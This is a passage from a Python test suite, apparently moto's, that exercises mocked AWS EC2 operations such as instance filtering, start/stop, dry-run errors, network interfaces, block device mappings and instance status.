boto3.client("ec2", region_name="us-east-1") client.create_security_group(Description="test", GroupName="test_sg") client.run_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, SecurityGroups=["test_sg"] ) reservations = client.describe_instances( Filters=[{"Name": "instance.group-name", "Values": ["test_sg"]}] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_instance_group_id(): client = boto3.client("ec2", region_name="us-east-1") create_sg = client.create_security_group(Description="test", GroupName="test_sg") group_id = create_sg["GroupId"] client.run_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, SecurityGroups=["test_sg"] ) reservations = client.describe_instances( Filters=[{"Name": "instance.group-id", "Values": [group_id]}] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_subnet_id(): client = boto3.client("ec2", region_name="us-east-1") vpc_cidr = ipaddress.ip_network("192.168.42.0/24") subnet_cidr = ipaddress.ip_network("192.168.42.0/25") resp = client.create_vpc(CidrBlock=str(vpc_cidr),) vpc_id = resp["Vpc"]["VpcId"] resp = client.create_subnet(CidrBlock=str(subnet_cidr), VpcId=vpc_id) subnet_id = resp["Subnet"]["SubnetId"] client.run_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, SubnetId=subnet_id, ) reservations = client.describe_instances( Filters=[{"Name": "subnet-id", "Values": [subnet_id]}] )["Reservations"] reservations.should.have.length_of(1) @mock_ec2_deprecated def test_get_instances_filtering_by_tag(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances instance1.add_tag("tag1", "value1") instance1.add_tag("tag2", "value2") instance2.add_tag("tag1", "value1") instance2.add_tag("tag2", "wrong value") instance3.add_tag("tag2", "value2") reservations = conn.get_all_reservations(filters={"tag:tag0": "value0"}) # get_all_reservations should return no instances reservations.should.have.length_of(0) reservations = conn.get_all_reservations(filters={"tag:tag1": "value1"}) # get_all_reservations should return both instances with this tag value reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(2) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance2.id) reservations = conn.get_all_reservations( filters={"tag:tag1": "value1", "tag:tag2": "value2"} ) # get_all_reservations should return the instance with both tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(1) reservations[0].instances[0].id.should.equal(instance1.id) reservations = conn.get_all_reservations( filters={"tag:tag1": "value1", "tag:tag2": "value2"} ) # get_all_reservations should return the instance with both tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(1) reservations[0].instances[0].id.should.equal(instance1.id) reservations = conn.get_all_reservations(filters={"tag:tag2": ["value2", "bogus"]}) # get_all_reservations should return both instances with one of the # acceptable tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(2) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance3.id) @mock_ec2_deprecated def test_get_instances_filtering_by_tag_value(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances instance1.add_tag("tag1", "value1") instance1.add_tag("tag2", "value2") instance2.add_tag("tag1", "value1") instance2.add_tag("tag2", "wrong value") instance3.add_tag("tag2", "value2") reservations = conn.get_all_reservations(filters={"tag-value": "value0"}) # get_all_reservations should return no instances reservations.should.have.length_of(0) reservations = conn.get_all_reservations(filters={"tag-value": "value1"}) # get_all_reservations should return both instances with this tag value reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(2) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance2.id) reservations = conn.get_all_reservations( filters={"tag-value": ["value2", "value1"]} ) # get_all_reservations should return both instances with one of the # acceptable tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(3) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance2.id) reservations[0].instances[2].id.should.equal(instance3.id) reservations = conn.get_all_reservations(filters={"tag-value": ["value2", "bogus"]}) # get_all_reservations should return both instances with one of the # acceptable tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(2) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance3.id) @mock_ec2_deprecated def test_get_instances_filtering_by_tag_name(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances instance1.add_tag("tag1") instance1.add_tag("tag2") instance2.add_tag("tag1") instance2.add_tag("tag2X") instance3.add_tag("tag3") reservations = conn.get_all_reservations(filters={"tag-key": "tagX"}) # get_all_reservations should return no instances reservations.should.have.length_of(0) reservations = conn.get_all_reservations(filters={"tag-key": "tag1"}) # get_all_reservations should return both instances with this tag value reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(2) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance2.id) reservations = conn.get_all_reservations(filters={"tag-key": ["tag1", "tag3"]}) # get_all_reservations should return both instances with one of the # acceptable tag values reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(3) reservations[0].instances[0].id.should.equal(instance1.id) reservations[0].instances[1].id.should.equal(instance2.id) reservations[0].instances[2].id.should.equal(instance3.id) @mock_ec2_deprecated def test_instance_start_and_stop(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=2) instances = reservation.instances instances.should.have.length_of(2) instance_ids = [instance.id for instance in instances] with pytest.raises(EC2ResponseError) as ex: stopped_instances = conn.stop_instances(instance_ids, dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the StopInstance operation: Request would have succeeded, but DryRun flag is set" ) stopped_instances = conn.stop_instances(instance_ids) for instance in stopped_instances: instance.state.should.equal("stopping") with pytest.raises(EC2ResponseError) as ex: started_instances = conn.start_instances([instances[0].id], dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the StartInstance operation: Request would have succeeded, but DryRun flag is set" ) started_instances = conn.start_instances([instances[0].id]) started_instances[0].state.should.equal("pending") @mock_ec2_deprecated def test_instance_reboot(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] with pytest.raises(EC2ResponseError) as ex: instance.reboot(dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the RebootInstance operation: Request would have succeeded, but DryRun flag is set" ) instance.reboot() instance.state.should.equal("pending") @mock_ec2_deprecated def test_instance_attribute_instance_type(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] with pytest.raises(EC2ResponseError) as ex: instance.modify_attribute("instanceType", "m1.small", dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the ModifyInstanceType operation: Request would have succeeded, but DryRun flag is set" ) instance.modify_attribute("instanceType", "m1.small") instance_attribute = instance.get_attribute("instanceType") instance_attribute.should.be.a(InstanceAttribute) instance_attribute.get("instanceType").should.equal("m1.small") @mock_ec2_deprecated def test_modify_instance_attribute_security_groups(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] sg_id = conn.create_security_group( "test security group", "this is a test security group" ).id sg_id2 = conn.create_security_group( "test security group 2", "this is a test security group 2" ).id with pytest.raises(EC2ResponseError) as ex: instance.modify_attribute("groupSet", [sg_id, sg_id2], dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the ModifyInstanceSecurityGroups operation: Request would have succeeded, but DryRun flag is set" ) instance.modify_attribute("groupSet", [sg_id, sg_id2]) instance_attribute = instance.get_attribute("groupSet") instance_attribute.should.be.a(InstanceAttribute) group_list = instance_attribute.get("groupSet") any(g.id == sg_id for g in group_list).should.be.ok any(g.id == sg_id2 for g in group_list).should.be.ok @mock_ec2_deprecated def test_instance_attribute_user_data(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] with pytest.raises(EC2ResponseError) as ex: instance.modify_attribute("userData", "this is my user data", dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the ModifyUserData operation: Request would have succeeded, but DryRun flag is set" ) instance.modify_attribute("userData", "this is my user data") instance_attribute = instance.get_attribute("userData") instance_attribute.should.be.a(InstanceAttribute) instance_attribute.get("userData").should.equal("this is my user data") @mock_ec2_deprecated def test_instance_attribute_source_dest_check(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] # Default value is true instance.sourceDestCheck.should.equal("true") instance_attribute = instance.get_attribute("sourceDestCheck") instance_attribute.should.be.a(InstanceAttribute) instance_attribute.get("sourceDestCheck").should.equal(True) # Set to false (note: Boto converts bool to string, eg 'false') with pytest.raises(EC2ResponseError) as ex: instance.modify_attribute("sourceDestCheck", False, dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the ModifySourceDestCheck operation: Request would have succeeded, but DryRun flag is set" ) instance.modify_attribute("sourceDestCheck", False) instance.update() instance.sourceDestCheck.should.equal("false") instance_attribute = instance.get_attribute("sourceDestCheck") instance_attribute.should.be.a(InstanceAttribute) instance_attribute.get("sourceDestCheck").should.equal(False) # Set back to true instance.modify_attribute("sourceDestCheck", True) instance.update() instance.sourceDestCheck.should.equal("true") instance_attribute = instance.get_attribute("sourceDestCheck") instance_attribute.should.be.a(InstanceAttribute) instance_attribute.get("sourceDestCheck").should.equal(True) @mock_ec2_deprecated def test_user_data_with_run_instance(): user_data = b"some user data" conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, user_data=user_data) instance = reservation.instances[0] instance_attribute = instance.get_attribute("userData") instance_attribute.should.be.a(InstanceAttribute) retrieved_user_data = instance_attribute.get("userData").encode("utf-8") decoded_user_data = decode_method(retrieved_user_data) decoded_user_data.should.equal(b"some user data") @mock_ec2_deprecated def test_run_instance_with_security_group_name(): conn = boto.connect_ec2("the_key", "the_secret") with pytest.raises(EC2ResponseError) as ex: group = conn.create_security_group("group1", "some description", dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the CreateSecurityGroup operation: Request would have succeeded, but DryRun flag is set" ) group = conn.create_security_group("group1", "some description") reservation = conn.run_instances(EXAMPLE_AMI_ID, security_groups=["group1"]) instance = reservation.instances[0] instance.groups[0].id.should.equal(group.id) instance.groups[0].name.should.equal("group1") @mock_ec2_deprecated def test_run_instance_with_security_group_id(): conn = boto.connect_ec2("the_key", "the_secret") group = conn.create_security_group("group1", "some description") reservation = conn.run_instances(EXAMPLE_AMI_ID, security_group_ids=[group.id]) instance = reservation.instances[0] instance.groups[0].id.should.equal(group.id) instance.groups[0].name.should.equal("group1") @mock_ec2_deprecated def test_run_instance_with_instance_type(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, instance_type="t1.micro") instance = reservation.instances[0] instance.instance_type.should.equal("t1.micro") @mock_ec2_deprecated def test_run_instance_with_default_placement(): conn = boto.ec2.connect_to_region("us-east-1") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] instance.placement.should.equal("us-east-1a") @mock_ec2_deprecated def test_run_instance_with_placement(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, placement="us-east-1b") instance = reservation.instances[0] instance.placement.should.equal("us-east-1b") @mock_ec2 def test_run_instance_with_subnet_boto3(): client = boto3.client("ec2", region_name="eu-central-1") ip_networks = [ (ipaddress.ip_network("10.0.0.0/16"), ipaddress.ip_network("10.0.99.0/24")), ( ipaddress.ip_network("192.168.42.0/24"), ipaddress.ip_network("192.168.42.0/25"), ), ] # Tests instances are created with the correct IPs for vpc_cidr, subnet_cidr in ip_networks: resp = client.create_vpc( CidrBlock=str(vpc_cidr), AmazonProvidedIpv6CidrBlock=False, DryRun=False, InstanceTenancy="default", ) vpc_id = resp["Vpc"]["VpcId"] resp = client.create_subnet(CidrBlock=str(subnet_cidr), VpcId=vpc_id) subnet_id = resp["Subnet"]["SubnetId"] resp = client.run_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, SubnetId=subnet_id ) instance = resp["Instances"][0] instance["SubnetId"].should.equal(subnet_id) priv_ipv4 = ipaddress.ip_address(six.text_type(instance["PrivateIpAddress"])) subnet_cidr.should.contain(priv_ipv4) @mock_ec2 def test_run_instance_with_specified_private_ipv4(): client = boto3.client("ec2", region_name="eu-central-1") vpc_cidr = ipaddress.ip_network("192.168.42.0/24") subnet_cidr = ipaddress.ip_network("192.168.42.0/25") resp = client.create_vpc( CidrBlock=str(vpc_cidr), AmazonProvidedIpv6CidrBlock=False, DryRun=False, InstanceTenancy="default", ) vpc_id = resp["Vpc"]["VpcId"] resp = client.create_subnet(CidrBlock=str(subnet_cidr), VpcId=vpc_id) subnet_id = resp["Subnet"]["SubnetId"] resp = client.run_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, SubnetId=subnet_id, PrivateIpAddress="192.168.42.5", ) instance = resp["Instances"][0] instance["SubnetId"].should.equal(subnet_id) instance["PrivateIpAddress"].should.equal("192.168.42.5") @mock_ec2 def test_run_instance_mapped_public_ipv4(): client = boto3.client("ec2", region_name="eu-central-1") vpc_cidr = ipaddress.ip_network("192.168.42.0/24") subnet_cidr = ipaddress.ip_network("192.168.42.0/25") resp = client.create_vpc( CidrBlock=str(vpc_cidr), AmazonProvidedIpv6CidrBlock=False, DryRun=False, InstanceTenancy="default", ) vpc_id = resp["Vpc"]["VpcId"] resp = client.create_subnet(CidrBlock=str(subnet_cidr), VpcId=vpc_id) subnet_id = resp["Subnet"]["SubnetId"] client.modify_subnet_attribute( SubnetId=subnet_id, MapPublicIpOnLaunch={"Value": True} ) resp = client.run_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, SubnetId=subnet_id ) instance = resp["Instances"][0] instance.should.contain("PublicDnsName") instance.should.contain("PublicIpAddress") len(instance["PublicDnsName"]).should.be.greater_than(0) len(instance["PublicIpAddress"]).should.be.greater_than(0) @mock_ec2_deprecated def test_run_instance_with_nic_autocreated(): conn = boto.connect_vpc("the_key", "the_secret") vpc = conn.create_vpc("10.0.0.0/16") subnet = conn.create_subnet(vpc.id, "10.0.0.0/18") security_group1 = conn.create_security_group( "test security group #1", "this is a test security group" ) security_group2 = conn.create_security_group( "test security group #2", "this is a test security group" ) private_ip = "10.0.0.1" reservation = conn.run_instances( EXAMPLE_AMI_ID, subnet_id=subnet.id, security_groups=[security_group1.name], security_group_ids=[security_group2.id], private_ip_address=private_ip, ) instance = reservation.instances[0] all_enis = conn.get_all_network_interfaces() all_enis.should.have.length_of(1) eni = all_enis[0] instance.interfaces.should.have.length_of(1) instance.interfaces[0].id.should.equal(eni.id) instance.subnet_id.should.equal(subnet.id) instance.groups.should.have.length_of(2) set([group.id for group in instance.groups]).should.equal( set([security_group1.id, security_group2.id]) ) eni.subnet_id.should.equal(subnet.id) eni.groups.should.have.length_of(2) set([group.id for group in eni.groups]).should.equal( set([security_group1.id, security_group2.id]) ) eni.private_ip_addresses.should.have.length_of(1) eni.private_ip_addresses[0].private_ip_address.should.equal(private_ip) @mock_ec2_deprecated def test_run_instance_with_nic_preexisting(): conn = boto.connect_vpc("the_key", "the_secret") vpc = conn.create_vpc("10.0.0.0/16") subnet = conn.create_subnet(vpc.id, "10.0.0.0/18") security_group1 = conn.create_security_group( "test security group #1", "this is a test security group" ) security_group2 = conn.create_security_group( "test security group #2", "this is a test security group" ) private_ip = "54.0.0.1" eni = conn.create_network_interface( subnet.id, private_ip, groups=[security_group1.id] ) # Boto requires NetworkInterfaceCollection of NetworkInterfaceSpecifications... # annoying, but generates the desired querystring. from boto.ec2.networkinterface import ( NetworkInterfaceSpecification, NetworkInterfaceCollection, ) interface = NetworkInterfaceSpecification( network_interface_id=eni.id, device_index=0 ) interfaces = NetworkInterfaceCollection(interface) # end Boto objects reservation = conn.run_instances( EXAMPLE_AMI_ID, network_interfaces=interfaces, security_group_ids=[security_group2.id], ) instance = reservation.instances[0] instance.subnet_id.should.equal(subnet.id) all_enis = conn.get_all_network_interfaces() all_enis.should.have.length_of(1) instance.interfaces.should.have.length_of(1) instance_eni = instance.interfaces[0] instance_eni.id.should.equal(eni.id) instance_eni.subnet_id.should.equal(subnet.id) instance_eni.groups.should.have.length_of(2) set([group.id for group in instance_eni.groups]).should.equal( set([security_group1.id, security_group2.id]) ) instance_eni.private_ip_addresses.should.have.length_of(1) instance_eni.private_ip_addresses[0].private_ip_address.should.equal(private_ip) @requires_boto_gte("2.32.0") @mock_ec2_deprecated def test_instance_with_nic_attach_detach(): conn = boto.connect_vpc("the_key", "the_secret") vpc = conn.create_vpc("10.0.0.0/16") subnet = conn.create_subnet(vpc.id, "10.0.0.0/18") security_group1 = conn.create_security_group( "test security group #1", "this is a test security group" ) security_group2 = conn.create_security_group( "test security group #2", "this is a test security group" ) reservation = conn.run_instances( EXAMPLE_AMI_ID, security_group_ids=[security_group1.id] ) instance = reservation.instances[0] eni = conn.create_network_interface(subnet.id, groups=[security_group2.id]) # Check initial instance and ENI data instance.interfaces.should.have.length_of(1) eni.groups.should.have.length_of(1) set([group.id for group in eni.groups]).should.equal(set([security_group2.id])) # Attach with pytest.raises(EC2ResponseError) as ex: conn.attach_network_interface(eni.id, instance.id, device_index=1, dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the AttachNetworkInterface operation: Request would have succeeded, but DryRun flag is set" ) conn.attach_network_interface(eni.id, instance.id, device_index=1) # Check attached instance and ENI data instance.update() instance.interfaces.should.have.length_of(2) instance_eni = instance.interfaces[1] instance_eni.id.should.equal(eni.id) instance_eni.groups.should.have.length_of(2) set([group.id for group in instance_eni.groups]).should.equal( set([security_group1.id, security_group2.id]) ) eni = conn.get_all_network_interfaces(filters={"network-interface-id": eni.id})[0] eni.groups.should.have.length_of(2) set([group.id for group in eni.groups]).should.equal( set([security_group1.id, security_group2.id]) ) # Detach with pytest.raises(EC2ResponseError) as ex: conn.detach_network_interface(instance_eni.attachment.id, dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the DetachNetworkInterface operation: Request would have succeeded, but DryRun flag is set" ) conn.detach_network_interface(instance_eni.attachment.id) # Check detached instance and ENI data instance.update() instance.interfaces.should.have.length_of(1) eni = conn.get_all_network_interfaces(filters={"network-interface-id": eni.id})[0] eni.groups.should.have.length_of(1) set([group.id for group in eni.groups]).should.equal(set([security_group2.id])) # Detach with invalid attachment ID with pytest.raises(EC2ResponseError) as cm: conn.detach_network_interface("eni-attach-1234abcd") cm.value.code.should.equal("InvalidAttachmentID.NotFound") cm.value.status.should.equal(400) cm.value.request_id.should_not.be.none @mock_ec2_deprecated def test_ec2_classic_has_public_ip_address(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, key_name="keypair_name") instance = reservation.instances[0] instance.ip_address.should_not.equal(None) instance.public_dns_name.should.contain(instance.ip_address.replace(".", "-")) instance.private_ip_address.should_not.equal(None) instance.private_dns_name.should.contain( instance.private_ip_address.replace(".", "-") ) @mock_ec2_deprecated def test_run_instance_with_keypair(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, key_name="keypair_name") instance = reservation.instances[0] instance.key_name.should.equal("keypair_name") @mock_ec2 def test_run_instance_with_block_device_mappings(): ec2_client = boto3.client("ec2", region_name="us-east-1") kwargs = { "MinCount": 1, "MaxCount": 1, "ImageId": EXAMPLE_AMI_ID, "KeyName": "the_key", "InstanceType": "t1.micro", "BlockDeviceMappings": [{"DeviceName": "/dev/sda2", "Ebs": {"VolumeSize": 50}}], } ec2_client.run_instances(**kwargs) instances = ec2_client.describe_instances() volume = instances["Reservations"][0]["Instances"][0]["BlockDeviceMappings"][0][ "Ebs" ] volumes = ec2_client.describe_volumes(VolumeIds=[volume["VolumeId"]]) volumes["Volumes"][0]["Size"].should.equal(50) @mock_ec2 def test_run_instance_with_block_device_mappings_missing_ebs(): ec2_client = boto3.client("ec2", region_name="us-east-1") kwargs = { "MinCount": 1, "MaxCount": 1, "ImageId": EXAMPLE_AMI_ID, "KeyName": "the_key", "InstanceType": "t1.micro", "BlockDeviceMappings": [{"DeviceName": "/dev/sda2"}], } with pytest.raises(ClientError) as ex: ec2_client.run_instances(**kwargs) ex.value.response["Error"]["Code"].should.equal("MissingParameter") ex.value.response["ResponseMetadata"]["HTTPStatusCode"].should.equal(400) ex.value.response["Error"]["Message"].should.equal( "The request must contain the parameter ebs" ) @mock_ec2 def test_run_instance_with_block_device_mappings_missing_size(): ec2_client = boto3.client("ec2", region_name="us-east-1") kwargs = { "MinCount": 1, "MaxCount": 1, "ImageId": EXAMPLE_AMI_ID, "KeyName": "the_key", "InstanceType": "t1.micro", "BlockDeviceMappings": [ {"DeviceName": "/dev/sda2", "Ebs": {"VolumeType": "standard"}} ], } with pytest.raises(ClientError) as ex: ec2_client.run_instances(**kwargs) ex.value.response["Error"]["Code"].should.equal("MissingParameter") ex.value.response["ResponseMetadata"]["HTTPStatusCode"].should.equal(400) ex.value.response["Error"]["Message"].should.equal( "The request must contain the parameter size or snapshotId" ) @mock_ec2 def test_run_instance_with_block_device_mappings_from_snapshot(): ec2_client = boto3.client("ec2", region_name="us-east-1") ec2_resource = boto3.resource("ec2", region_name="us-east-1") volume_details = { "AvailabilityZone": "1a", "Size": 30, } volume = ec2_resource.create_volume(**volume_details) snapshot = volume.create_snapshot() kwargs = { "MinCount": 1, "MaxCount": 1, "ImageId": EXAMPLE_AMI_ID, "KeyName": "the_key", "InstanceType": "t1.micro", "BlockDeviceMappings": [ {"DeviceName": "/dev/sda2", "Ebs": {"SnapshotId": snapshot.snapshot_id}} ], } ec2_client.run_instances(**kwargs) instances = ec2_client.describe_instances() volume = instances["Reservations"][0]["Instances"][0]["BlockDeviceMappings"][0][ "Ebs" ] volumes = ec2_client.describe_volumes(VolumeIds=[volume["VolumeId"]]) volumes["Volumes"][0]["Size"].should.equal(30) volumes["Volumes"][0]["SnapshotId"].should.equal(snapshot.snapshot_id) @mock_ec2_deprecated def test_describe_instance_status_no_instances(): conn = boto.connect_ec2("the_key", "the_secret") all_status = conn.get_all_instance_status() len(all_status).should.equal(0) @mock_ec2_deprecated def test_describe_instance_status_with_instances(): conn = boto.connect_ec2("the_key", "the_secret") conn.run_instances(EXAMPLE_AMI_ID, key_name="keypair_name") all_status = conn.get_all_instance_status() len(all_status).should.equal(1) all_status[0].instance_status.status.should.equal("ok") all_status[0].system_status.status.should.equal("ok") @mock_ec2_deprecated def test_describe_instance_status_with_instance_filter_deprecated(): conn = boto.connect_ec2("the_key", "the_secret") # We want to filter based on this one reservation = conn.run_instances(EXAMPLE_AMI_ID, key_name="keypair_name") instance = reservation.instances[0] # This is just to setup the test conn.run_instances(EXAMPLE_AMI_ID, key_name="keypair_name") all_status = conn.get_all_instance_status(instance_ids=[instance.id]) len(all_status).should.equal(1) all_status[0].id.should.equal(instance.id) # Call get_all_instance_status with a bad id should raise an error with pytest.raises(EC2ResponseError) as cm: conn.get_all_instance_status(instance_ids=[instance.id, "i-1234abcd"]) cm.value.code.should.equal("InvalidInstanceID.NotFound") cm.value.status.should.equal(400) cm.value.request_id.should_not.be.none @mock_ec2 def test_describe_instance_credit_specifications(): conn = boto3.client("ec2", region_name="us-west-1") # We want to filter based on this one reservation = conn.run_instances(ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1) result = conn.describe_instance_credit_specifications( InstanceIds=[reservation["Instances"][0]["InstanceId"]] ) assert ( result["InstanceCreditSpecifications"][0]["InstanceId"] == reservation["Instances"][0]["InstanceId"] ) @mock_ec2 def test_describe_instance_status_with_instance_filter(): conn = boto3.client("ec2", region_name="us-west-1") # We want to filter based on this one reservation = conn.run_instances(ImageId=EXAMPLE_AMI_ID, MinCount=3, MaxCount=3) instance1 = reservation["Instances"][0] instance2 = reservation["Instances"][1] instance3 = reservation["Instances"][2] conn.stop_instances(InstanceIds=[instance1["InstanceId"]]) stopped_instance_ids = [instance1["InstanceId"]] running_instance_ids = sorted([instance2["InstanceId"], instance3["InstanceId"]]) all_instance_ids = sorted(stopped_instance_ids + running_instance_ids) # Filter instance using the state name state_name_filter = { "running_and_stopped": [ {"Name": "instance-state-name", "Values": ["running", "stopped"]} ], "running": [{"Name": "instance-state-name", "Values": ["running"]}], "stopped": [{"Name": "instance-state-name", "Values": ["stopped"]}], } found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_name_filter["running_and_stopped"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(all_instance_ids) found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_name_filter["running"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(running_instance_ids) found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_name_filter["stopped"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(stopped_instance_ids) # Filter instance using the state code state_code_filter = { "running_and_stopped": [ {"Name": "instance-state-code", "Values": ["16", "80"]} ], "running": [{"Name": "instance-state-code", "Values": ["16"]}], "stopped": [{"Name": "instance-state-code", "Values": ["80"]}], } found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_code_filter["running_and_stopped"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(all_instance_ids) found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_code_filter["running"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(running_instance_ids) found_statuses = conn.describe_instance_status( IncludeAllInstances=True, Filters=state_code_filter["stopped"] )["InstanceStatuses"] found_instance_ids = [status["InstanceId"] for status in found_statuses] sorted(found_instance_ids).should.equal(stopped_instance_ids) @requires_boto_gte("2.32.0") @mock_ec2_deprecated def test_describe_instance_status_with_non_running_instances(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances instance1.stop() instance2.terminate() all_running_status = conn.get_all_instance_status() all_running_status.should.have.length_of(1) all_running_status[0].id.should.equal(instance3.id) all_running_status[0].state_name.should.equal("running") all_status = conn.get_all_instance_status(include_all_instances=True) all_status.should.have.length_of(3) status1 = next((s for s in all_status if s.id == instance1.id), None) status1.state_name.should.equal("stopped") status2 = next((s for s in all_status if s.id == instance2.id), None) status2.state_name.should.equal("terminated") status3 = next((s for s in all_status if s.id == instance3.id), None) status3.state_name.should.equal("running") @mock_ec2_deprecated def test_get_instance_by_security_group(): conn = boto.connect_ec2("the_key", "the_secret") conn.run_instances(EXAMPLE_AMI_ID) instance = conn.get_only_instances()[0] security_group = conn.create_security_group("test", "test") with pytest.raises(EC2ResponseError) as ex: conn.modify_instance_attribute( instance.id, "groupSet", [security_group.id], dry_run=True ) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the ModifyInstanceSecurityGroups operation: Request would have succeeded, but DryRun flag is set" ) conn.modify_instance_attribute(instance.id, "groupSet", [security_group.id]) security_group_instances = security_group.instances() assert len(security_group_instances) == 1 assert security_group_instances[0].id == instance.id @mock_ec2 def test_modify_delete_on_termination(): ec2_client = boto3.resource("ec2", region_name="us-west-1") result = ec2_client.create_instances(ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1) instance = result[0] instance.load() instance.block_device_mappings[0]["Ebs"]["DeleteOnTermination"].should.be(True) instance.modify_attribute( BlockDeviceMappings=[ {"DeviceName": "/dev/sda1", "Ebs": {"DeleteOnTermination": False}} ] ) instance.load() instance.block_device_mappings[0]["Ebs"]["DeleteOnTermination"].should.be(False) @mock_ec2 def test_create_instance_ebs_optimized(): ec2_resource = boto3.resource("ec2", region_name="eu-west-1") instance = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, EbsOptimized=True )[0] instance.load() instance.ebs_optimized.should.be(True) instance.modify_attribute(EbsOptimized={"Value": False}) instance.load() instance.ebs_optimized.should.be(False) instance = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MaxCount=1, MinCount=1, )[0] instance.load() instance.ebs_optimized.should.be(False) @mock_ec2 def test_run_multiple_instances_in_same_command(): instance_count = 4 client = boto3.client("ec2", region_name="us-east-1") client.run_instances( ImageId=EXAMPLE_AMI_ID, MinCount=instance_count, 